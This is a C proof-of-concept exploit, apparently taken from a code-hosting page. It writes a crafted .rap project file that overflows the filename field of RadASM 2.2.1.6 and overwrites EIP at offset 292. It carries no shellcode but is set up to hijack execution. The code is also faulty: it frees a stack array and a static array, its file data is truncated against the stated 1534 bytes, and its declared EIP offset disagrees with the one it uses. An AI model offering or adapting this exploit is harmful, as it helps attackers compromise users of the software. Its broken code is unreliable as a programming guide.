175 lines
No EOL
11 KiB
C
175 lines
No EOL
11 KiB
C
/*Radasm .rap file local buffer overflow POC
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I'll be back in a few hours with the exploit.
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The vuln is in the filename field.
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snip
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[Files]...1=AVP OVERFLOW...
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snip
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*/
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#include<stdio.h>
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void gen_random(char*,const int);
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void print(char*);
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unsigned int getFsize(FILE*,char*);
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void buildfile(char*);
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#define VULNF "qq.rap"
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#define VER "2.2.1.6"
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#define POCNAME "Radasm .rap file local buffer overflow POC"
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#define AUTHOR "fl0 fl0w"
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#define IF(x,NULL) if(x==NULL)
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#define FOR(i,a,b) for(i=a;i<b;++i)
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#define EIPOFFSET 0xDD
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#define NUL '\0'
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#define CLEAR(x) free(x)
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char file[]={ //1534 bytes
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0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x73, 0x0D, 0x0A, 0x31, 0x3D, 0x31, 0x0D, 0x0A,};
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int main(){
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printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
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buildfile(VULNF);
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print("DONE!");
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getchar();
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return 0;
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}
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void buildfile(char* fname){
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char buffer[100000];
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char eip[]="\x55\x55\x55\x55"; //offset=292
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gen_random(buffer,5000);
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memcpy(buffer,file,strlen(file));
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memcpy(buffer+292,eip,4);
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FILE* f=fopen(fname,"wb");
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if(f){
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fwrite(buffer,1,1534,f);
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fclose(f);
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}
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else {
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print("Error in writing file");
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exit(0);
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}
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free(buffer);
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free(file);
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int sz=getFsize(f,fname);
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printf("[!]File is %d bytes\n",sz);
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}
|
|
unsigned int getFsize(FILE* g,char* gname)
|
|
{
|
|
unsigned int s;
|
|
|
|
g=fopen(gname,"rb");
|
|
|
|
IF(g,NULL)
|
|
{
|
|
print("File error at reading");
|
|
exit(0);
|
|
}
|
|
fseek(g,0,SEEK_END);
|
|
s=ftell(g);
|
|
|
|
return s;
|
|
}
|
|
void print(char* msg)
|
|
{
|
|
printf("[*]%s\n",msg);
|
|
}
|
|
void gen_random(char *s, const int len)
|
|
{ int i; //helps u find the offsets
|
|
static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
|
|
FOR(i,0,len)
|
|
{
|
|
s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
|
|
}
|
|
s[len]=0;
|
|
} |